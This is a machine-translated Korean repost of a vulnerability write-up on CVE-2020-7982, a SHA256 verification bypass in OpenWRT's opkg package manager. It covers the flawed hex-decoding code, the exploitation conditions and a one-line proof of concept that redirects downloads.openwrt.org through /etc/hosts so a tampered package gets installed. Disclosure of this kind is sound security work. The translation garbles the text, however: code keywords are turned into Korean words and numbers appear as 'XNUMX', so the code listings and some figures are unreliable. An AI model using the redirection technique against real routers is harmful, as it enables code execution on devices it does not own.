제퍼넷 로고

OpenWRT 원격 코드 실행 발견 (CVE-2020-7982)

시간

개요

ForAllSecure의 경우 Mayhem 소프트웨어를 사용하여 OpenWRT에서 버그를 찾는 데 중점을 두었습니다. OpenWRT에 대한 나의 연구는 사용자 지정 하니스 작성, 재 컴파일없이 상자의 바이너리 실행 및 코드 수동 검사의 조합이었습니다.

opkg에 대한 Mayhem 작업을 준비 할 때 우연히이 취약점을 발견했습니다.

Mayhem은 파일 또는 네트워크 소켓에서 데이터를 제공 할 수 있습니다.

opkg 에서 패키지를 다운로드 downloads.openwrt.org그래서이 계획은이 도메인 이름이 127.0.0.1 Mayhem이 제공하는

opkg가 실제로 사용자 지정 네트워크 연결에서 패키지를 다운로드하는지 테스트하기 위해 로컬 웹 서버를 설정하고 임의 바이트로 구성된 파일을 만들었습니다. 패키지를 설치하기 위해 opkg를 실행했을 때 의도했던대로 파일을 검색 한 후 분할 오류가 발생했습니다.

잘못된 패키지로 인해이 오류가 발생하는 이유를 이해하지 못했습니다. 결국 SHA256 해시가 올바르지 않은 경우 패키지를 처리하지 않아야합니다.

처음에는 opkg가 패키지를 다운로드하여 임시 디렉토리에 압축을 풀고 SHA256 해시를 시스템에 확실하게 설치하기 전에 확인하는 것입니다. 웹 서버에서 임의 바이트가 제공되는 파일과 같이 언 패커가 잘못된 데이터를 처리 할 수 ​​없다고 생각했습니다.

추가 검사 결과 SHA256 해시는 전혀 확인되지 않았으며 이는 취약점의 근간입니다.

그래도 언 패커가 버그가있는 것에 대해 옳았습니다. 잘못된 형식의 데이터는 다양한 메모리 위반으로 이어질 수 있습니다.

opkg의 포장 풀기 및 설치 시도를 확인한 후 어떤 패키지를 다운로드 한 후 ophem을 약간 수정하여 Mayhem에서 찾은 결과를 다시 만들 수있었습니다.

나는 Mayhem 작업을 설정했습니다. opkg 설치 속성 (attr은 작은 OpenWRT 패키지입니다.) Mayhem은 패키지 언 패커에서 메모리 버그를 감지하여 원격 코드 실행 버그를 찾을 수있었습니다. OpenWRT의 SHA256 검증이 의도 한대로 작동 한 경우 opkg는 단순히 패키지를 버리고 처리하지 않으며 세그먼트 오류가 발생하지 않습니다.

Mayhem은 재 컴파일이나 계측없이 바이너리를 퍼징 할 수 있습니다. 소프트웨어 라이브러리 (Mayhem에서도 지원)에 대한 많은 사용자 정의 하네스를 작성하는 워크 플로우에서 나온이 작업은 즐거운 경험이었으며 몇 주 안에 수십 개의 OpenWRT 응용 프로그램에 대한 대상을 설정할 수있게되었으며 더 많은 취약성 공개가 예정되어 있습니다. .

다음 섹션에서는 취약점을 식별하는 방법에 대해 자세히 설명합니다.

OpenWRT

OpenWRT 는 일반적인 임베디드 장치 및 특히 네트워크 라우터에 사용하도록 설계된 무료 Linux 기반 운영 체제입니다. 모든 계정에 의해 전 세계 수백만 장치에 설치됩니다.

OpenWRT 패키지 관리자

OpenWRT 시스템에 소프트웨어를 설치하거나 업데이트하려면 opgk 사용. 그 기능과 목적은 적절한 데비안 기반 시스템에서.

opkg 설치 가능한 패키지 목록을 검색합니다. downloads.openwrt.org 암호화되지 않은 HTTP 연결을 통해.

패키지 목록에는 디지털 서명이되어 있습니다. 이를 통해 패키지 파일을 처리하기 전에 OpenWRT 유지 관리자가 제공 한 것으로 확인되고 확인에 실패하면 버려집니다.

패키지의 일반적인 항목은 다음과 같습니다.

패키지 : attr
버전 : 2.4.48-2
libc, libattr에 따라 다름
라이센스 : GPL-2.0 이상
섹션 : 유틸리티
아키텍처 : x86_64
설치된 크기 : 11797
파일 이름 : attr_2.4.48-2_x86_64.ipk
크기 : 12517
SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6                                                                                                                           
설명 : 확장 된 속성 지원
이 패키지는 xattr 조작 유틸리티를 제공합니다
-attr
-getfattr
 -setfattr

XNUMXD덴탈의 SHA256 섬 다운로드 한 패키지가 손상되거나 손상되지 않도록하기 위해 필드가 있습니다. 예상 SHA256 해시는이를 포함하는 패키지 목록 자체가 유효한 서명으로 검증되기 때문에 OpenWRT 관리자로부터 암시 적으로 보장됩니다.

이론적으로 이것은 전송 채널 (HTTP) 자체가 안전하지 않은 경우에도 서명이나 패키지 목록을 사용하거나 패키지 아카이브를 변조 할 수 있음을 의미합니다.

이 추론 방법에 대한 일부 토론을 찾을 수 있습니다 여기에서 지금 확인해 보세요..

버그

사용자가 다음을 실행하여 패키지를 설치할 때 opkg 설치, opkg 패키지 목록을 구문 분석하여 시작합니다.

파서는 각 패키지 항목을 통과하고 각 유형의 필드에 대해 다른 작업을 수행합니다. 일단 건너면 SHA256 섬 필드, 호출합니다 pkg_set_sha256:

312 회 ((마스크 & PFM_SHA256SUM) && is_field ( "SHA256sum", line))
313 pkg_set_sha256 (pkg, line + strlen ( "SHA256sum") + 1);

출처

pkg_set_sha256 해독하려고합니다 SHA256 섬 XNUMX 진에서 XNUMX 진으로 필드를 내부 표현으로 저장하십시오.

244 숯불 구리 _pkg_set_sha256 (pkg_t * pkg
삼 {
246 화
247 문자 * p = checksum_hex2bin (cksum, & len);
248
249 if (! p || len! = 32)
250 반환 NULL;
251
252 화
253}

출처

그러나 디코딩에 실패하면 해시를 저장하지 않고 자동으로 실패합니다.

실제 버그는 체크섬 _hex2bin. 간과하기 매우 쉽습니다. 당신은 그것을 발견 할 수 있습니까?

234 * 숯불
삼 {
236 사이즈 _t slen;
237 unsigned char * p;
238 const unsigned char * s = (unsigned char *) src;
239 static unsigned char buf [32];
240
241 if (! src) {
242 화
243 반환 NULL;
244}
245
246 회 (isspace (* src))
247 src ++;
248
249 slen = strlen (src);
250
251 if (slen> 64) {
252 화
253 반환 NULL;
254}
255
256 (p = buf, * len = 0;
257 slen> 0 && isxdigit (s [0]) && isxdigit (s [1]);
258 slen--, s + = 2, (* len) ++)
259 * p ++ = hex2bin (s [0]) * 16 + hex2bin (s [1]);
260
261 귀환 (char *) buf;
262}

출처

처음에는 sSRC 변수는 동일한 주소를 가리 킵니다.

246 번째 줄에서 SRC 변수는 첫 번째 공백이 아닌 문자로 진행됩니다. 그러나 실제 디코딩은 for 라인 256에서 시작하는 루프는 s 변수는 여전히 문자열의 맨 처음을 가리 킵니다.

따라서 입력 문자열에 선행 공백이 있으면 공백 문자를 디코딩하려고 시도합니다. 공백은 XNUMX 진 문자가 아니므로 isxdigit () false를 반환하면 디코더 루프가 즉시 종료되고 * len 로 설정 0.

패키지 파서를 다시 보면 문자열이 pkg_set_sha256 “SHA256sum : 다음 줄의 일부입니다.

313 pkg_set_sha256 (pkg, line + strlen ( "SHA256sum") + 1);

사실상 이는 해당 문자열의 첫 번째 문자가 공백임을 의미합니다.

패키지 목록 구문 분석이 완료되면 HTTP를 통해 패키지가 다시 다운로드됩니다.

몇 가지 검증 단계가 이어집니다.

다운로드 한 패키지의 크기는 패키지 목록에 지정된 크기와 같아야합니다.

1379 화
1380
1381 if (pkg_expected_size> 0 && pkg_stat.st_size! = pkg_expected_size)
1382 if (! conf-> force_checksum)
1383 opkg_msg (오류,
1384 "패키지 크기 불일치 : % s은 (는) % lld 바이트입니다. 예상되는 % lld 바이트 n",
1385 pkg-> name, (long long int) pkg_stat.st_size, pkg_expected_size);
1386 반환 -1;
1387} else {
1388 opkg_msg (알림,
1389 "% s 크기 불일치 무시 됨 .n",
1390 pkg-> name);
1391}
1392}

출처

이 패키지에 SHA256 해시가 지정된 경우 다음과 일치해야합니다.

1415 / * sha256 값 확인 * /
1416 pkg_sha256 = pkg_get_sha256 (pkg)
1417 if (pkg_sha256) {
1418
1419 if (file_sha256 && strcmp (file_sha256, pkg_sha256))
1420 if (! conf-> force_checksum) {
1421 opkg_msg (오류,
1422 "패키지 % s sha256sum이 일치하지 않습니다."
1423 "opkg 또는 패키지 색인이 손상되었습니다."
1424 " 'opkg update'를 시도하십시오 .n", pkg-> name);
1425 년
1426 반환 -1;
1427} else {
1428 opkg_msg (알림,
1429 "% s sha256sum 불일치가 무시되었습니다 .n",
1430 pkg-> name);
1431}
1432}
1433 if (file_sha256)
1434 년
1435}

출처

그러나 왜냐하면 체크섬 _hex2bin 해독 할 수 없었다 SHA256 섬 필드에서 1418 행의 코드는 단순히 무시됩니다.

거의 2017 년 전에 XNUMX 년 XNUMX 월에 버그가 도입 된 것 같습니다. https://git.openwrt.org/?p=project/opkg-lede.git;a=blobdiff;f=libopkg/file_util.c;h=155d73b52be1ac81d88ebfd851c50c98ede6f012;hp=912b147ad306766f6275e93a3b9860de81b29242;hb=54cc7e3bd1f79569022aa9fc3d0e748c81e3bcd8;hpb=9396bd4a4c84bde6b55ac3c47c90b4804e51adaf

착취

악용하려면 침입자가 웹 서버에서 (손상된) 패키지를 제공해야합니다.

공격자는 장치와 장치 간의 통신을 가로 채서 교체 할 수있는 위치에 있어야합니다. downloads.openwrt.org기기에서 사용하는 DNS 서버를 제어하거나 downloads.openwrt.org 공격자가 제어하는 ​​웹 서버를 가리 킵니다.

패킷 스푸핑 또는 ARP 캐시 포이즈 닝을 사용하는 로컬 네트워크에 대한 공격은 가능할 수 있지만 테스트되지 않았습니다.

고려해야 할 유일한 제약 조건은 손상된 패키지의 파일 크기가 크기 패키지 목록의 필드.

이 작업은 간단합니다.

  • 원본보다 작은 패키지 만들기
  • 원본 패키지와 손상된 패키지의 크기 차이 계산
  • 손상된 패키지의 끝에이 양의 XNUMX 바이트를 추가하십시오.

다음 개념 증명은 어떻게 악용 될 수 있는지 보여줍니다.

웹 서버 IP가 192.168.2.10이라고 가정하면 OpenWRT 시스템에서 다음 명령을 실행하십시오.

echo“192.168.2.10 downloads.openwrt.org”>> / etc / hosts; opkg 업데이트 && opkg 설치 속성 && 속성

수정 사항이 구현되기 전에 'pwned :)'를 인쇄합니다.

수정 은 / etc / 호스트 MITM (Man-in-the-Middle) 상황 (또는 손상된 DNS) 상황을 에뮬레이트해야합니다.

개선

스톱 갭 솔루션으로서 OpenWRT는 SHA256 섬 버그를보고 한 직후 패키지 목록에서.

이는 사용자에 대한 위험을 어느 정도 완화하는 데 도움이되었습니다. 이 변경 이후에 패키지 목록을 업데이트 한 사용자는 더 이상 취약하지 않습니다. 후속 설치는 해시 확인을 방해하지 않는 올바른 형식의 목록에서 설정되기 때문입니다.

그러나 공격자가 OpenWRT 관리자가 서명 한 이전 패키지 목록을 제공 할 수 있기 때문에 이것은 장기적으로 적절한 솔루션이 아닙니다.

버그 체크섬 _hex2bin 에 고정되었다 이 커밋 18.06.7 년 19.07.1 월 1 일에 릴리스 된 OpenWRT 버전 2020 및 XNUMX에 통합되었습니다.

OpenWRT 버전을 18.06.7 또는 19.07.1로 업그레이드하는 것이 좋습니다. 

노트

2016 년, Google Project Zero의 Jann Horn 버그를 발견 데비안에서 비슷한 영향을 적절한 패키지 관리자.

작년에 또 다른 결함 발견되었다 Max Justicz에 의해.

*** 이것은 Security Bloggers Network의 블로그입니다. ForAllSecure 블로그 작성자 귀도 브랑 켄. 다음에서 원래 게시물을 읽으십시오. https://blog.forallsecure.com/uncovering-openwrt-remote-code-execution-cve-2020-7982

출처 : https://securityboulevard.com/2020/03/uncovering-openwrt-remote-code-execution-cve-2020-7982/

spot_img

VC 카페

라이프사이VC

최신 인텔리전스

VC 카페

라이프사이VC

spot_img